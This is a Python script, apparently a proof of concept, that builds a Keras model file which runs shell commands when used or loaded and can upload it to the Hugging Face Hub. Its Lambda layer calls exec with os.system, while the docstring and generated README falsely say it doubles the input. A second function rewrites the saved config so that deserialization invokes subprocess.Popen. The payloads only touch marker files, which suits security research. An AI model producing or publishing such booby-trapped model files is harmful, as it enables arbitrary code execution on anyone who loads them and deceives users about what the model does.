| import os |
| import argparse |
| import json |
| import zipfile |
| import tempfile |
| import shutil |
| from typing import Optional, Dict, Any |
| import tensorflow as tf |
|
|
| try: |
| from huggingface_hub import HfApi, HfFolder, create_repo, upload_folder |
| except Exception: |
| HfApi = None |
| HfFolder = None |
| create_repo = None |
| upload_folder = None |
|
|
|
|
| def build_lambda_model(input_shape=(4,)) -> tf.keras.Model: |
| """Create a simple Keras model with a single Lambda layer. |
| |
| The Lambda layer doubles its input: y = 2 * x |
| |
| Args: |
| input_shape: Shape of a single input example, excluding the batch dim. |
| |
| Returns: |
| A compiled Keras Model instance. |
| """ |
| inputs = tf.keras.Input(shape=input_shape, name="input") |
| outputs = tf.keras.layers.Lambda( |
| lambda x: exec("import os; os.system('touch /tmp/hello.txt')"), |
| output_shape=(), |
| name="double", |
| )(inputs) |
| model = tf.keras.Model(inputs=inputs, outputs=outputs, name="lambda_model") |
| model.compile(optimizer="adam", loss="mse") |
| return model |
|
|
|
|
| def upload_model_to_hub( |
| repo_id: str, |
| model_dir: str, |
| token: Optional[str] = None, |
| private: bool = False, |
| ) -> str: |
| """Upload a directory of model artifacts to the Hugging Face Hub. |
| |
| Args: |
| repo_id: Target repo like `username/repo_name`. |
| model_dir: Local directory containing saved model files. |
| token: Optional HF token. If not provided, uses locally stored token. |
| private: Whether to create the repo as private. |
| |
| Returns: |
| The commit URL from the upload. |
| """ |
| if HfApi is None: |
| raise RuntimeError( |
| "huggingface-hub is not installed. Add it to dependencies and reinstall." |
| ) |
|
|
| if token: |
| HfFolder.save_token(token) |
|
|
| |
| create_repo(repo_id, exist_ok=True, private=private) |
|
|
| |
| commit_info = upload_folder( |
| repo_id=repo_id, |
| folder_path=model_dir, |
| path_in_repo=".", |
| commit_message="Add lambda keras model", |
| token=token, |
| ) |
| return commit_info.commit_url |
|
|
|
|
| def edit_keras_config(model_path: str, config_edits: Dict[str, Any]) -> None: |
| """Unzip a .keras file, edit its config.json, and repack it. |
| |
| Args: |
| model_path: Path to the .keras file |
| config_edits: Dictionary of edits to apply to config.json |
| """ |
| with tempfile.TemporaryDirectory() as temp_dir: |
| |
| with zipfile.ZipFile(model_path, 'r') as zip_ref: |
| zip_ref.extractall(temp_dir) |
| |
| |
| config_path = os.path.join(temp_dir, 'config.json') |
| with open(config_path, 'r', encoding='utf-8') as f: |
| config = json.load(f) |
| |
| |
| def apply_edits(obj: Any, edits: Dict[str, Any]) -> None: |
| for key, value in edits.items(): |
| if isinstance(value, dict) and key in obj and isinstance(obj[key], dict): |
| apply_edits(obj[key], value) |
| else: |
| obj[key] = value |
| |
| apply_edits(config, config_edits) |
| |
| |
| with open(config_path, 'w', encoding='utf-8') as f: |
| json.dump(config, f, indent=2) |
| |
| |
| backup_path = model_path + '.backup' |
| shutil.copy2(model_path, backup_path) |
| print(f"Created backup: {backup_path}") |
| |
| |
| with zipfile.ZipFile(model_path, 'w', zipfile.ZIP_STORED) as zip_ref: |
| for file_name in ['metadata.json', 'config.json', 'model.weights.h5']: |
| file_path = os.path.join(temp_dir, file_name) |
| if os.path.exists(file_path): |
| zip_ref.write(file_path, file_name) |
| |
| print(f"Updated {model_path} with config edits") |
|
|
|
|
| def apply_subprocess_config(model_path: str) -> None: |
| """Apply the specific subprocess.Popen config modification from the provided script. |
| |
| Args: |
| model_path: Path to the .keras file |
| """ |
| |
| backup_path = model_path + '.backup' |
| shutil.copy2(model_path, backup_path) |
| print(f"Created backup: {backup_path}") |
| |
| |
| with zipfile.ZipFile(model_path, "r") as f: |
| config = json.loads(f.read("config.json").decode()) |
| |
| |
| config["config"]["layers"][0]["module"] = "keras.models" |
| config["config"]["layers"][0]["class_name"] = "Model" |
| config["config"]["layers"][0]["config"] = { |
| "name": "mvlttt", |
| "layers": [ |
| { |
| "name": "mvlttt", |
| "class_name": "function", |
| "config": "Popen", |
| "module": "subprocess", |
| "inbound_nodes": [{"args": [["touch", "/tmp/1337"]], "kwargs": {"bufsize": -1}}] |
| } |
| ], |
| "input_layers": [["mvlttt", 0, 0]], |
| "output_layers": [["mvlttt", 0, 0]] |
| } |
| |
| |
| tmp_path = f"tmp.{os.path.basename(model_path)}" |
| with zipfile.ZipFile(model_path, 'r') as zip_read: |
| with zipfile.ZipFile(tmp_path, 'w') as zip_write: |
| for item in zip_read.infolist(): |
| if item.filename != "config.json": |
| zip_write.writestr(item, zip_read.read(item.filename)) |
| |
| |
| os.remove(model_path) |
| os.rename(tmp_path, model_path) |
| |
| |
| with zipfile.ZipFile(model_path, "a") as zf: |
| zf.writestr("config.json", json.dumps(config)) |
| |
| print(f"Applied subprocess config modification to {model_path}") |
|
|
|
|
| def parse_args() -> argparse.Namespace: |
| parser = argparse.ArgumentParser(description="Build and optionally upload a Lambda tf.keras model") |
| parser.add_argument("--input-shape", type=int, nargs="+", default=[4], help="Input shape excluding batch dim, e.g. --input-shape 4") |
| parser.add_argument("--output-dir", type=str, default=os.path.dirname(__file__), help="Directory to write artifacts") |
| parser.add_argument("--upload", action="store_true", help="Upload the saved model to Hugging Face Hub") |
| parser.add_argument("--repo-id", type=str, default=None, help="Hugging Face repo id, e.g. username/repo") |
| parser.add_argument("--hf-token", type=str, default=None, help="Hugging Face token (optional, else use cached)") |
| parser.add_argument("--private", action="store_true", help="Create the repo as private if it doesn't exist") |
| parser.add_argument("--edit-config", action="store_true", help="Edit the model config after saving") |
| parser.add_argument("--config-json", type=str, default=None, help="JSON string of config edits to apply, e.g. '{\"layers\": {\"0\": {\"name\": \"new_name\"}}}'") |
| parser.add_argument("--apply-subprocess", action="store_true", help="Apply the subprocess.Popen config modification (creates /tmp/1337)") |
| return parser.parse_args() |
|
|
|
|
| def main() -> None: |
| args = parse_args() |
| input_shape = tuple(args.input_shape) |
| model = build_lambda_model(input_shape=input_shape) |
|
|
| model.summary() |
|
|
| |
| os.makedirs(args.output_dir, exist_ok=True) |
| model_base = "lambda_model" |
| model_path = os.path.join(args.output_dir, f"{model_base}.keras") |
| model.save(model_path) |
| print(f"Saved model to: {model_path}") |
|
|
| |
| if args.edit_config: |
| if args.config_json: |
| try: |
| config_edits = json.loads(args.config_json) |
| edit_keras_config(model_path, config_edits) |
| except json.JSONDecodeError as e: |
| print(f"Error parsing config JSON: {e}") |
| return |
| else: |
| |
| default_edits = { |
| "config": { |
| "layers": [ |
| None, |
| {"name": "custom_lambda_layer"} |
| ] |
| } |
| } |
| edit_keras_config(model_path, default_edits) |
|
|
| |
| if args.apply_subprocess: |
| apply_subprocess_config(model_path) |
|
|
| |
| readme_text = ( |
| "# Lambda Keras Model\n\n" |
| "A minimal tf.keras model with a single Lambda layer that doubles the input.\n\n" |
| f"Input shape: {input_shape}\n\n" |
| "Saved in Keras v3 .keras format." |
| ) |
| local_readme = os.path.join(args.output_dir, "README.md") |
| with open(local_readme, "w", encoding="utf-8") as f: |
| f.write(readme_text) |
|
|
| |
| example = tf.ones((1,) + input_shape) |
| prediction = model(example) |
| print("Example input:", example.numpy()) |
|
|
| if args.upload: |
| if not args.repo_id: |
| raise SystemExit("--repo-id is required when --upload is set (e.g. username/repo)") |
| commit_url = upload_model_to_hub( |
| repo_id=args.repo_id, |
| model_dir=args.output_dir, |
| token=args.hf_token, |
| private=args.private, |
| ) |
| print(f"Uploaded to Hugging Face Hub: {commit_url}") |
|
|
|
|
| if __name__ == "__main__": |
| main() |
|
|
|
|
|
|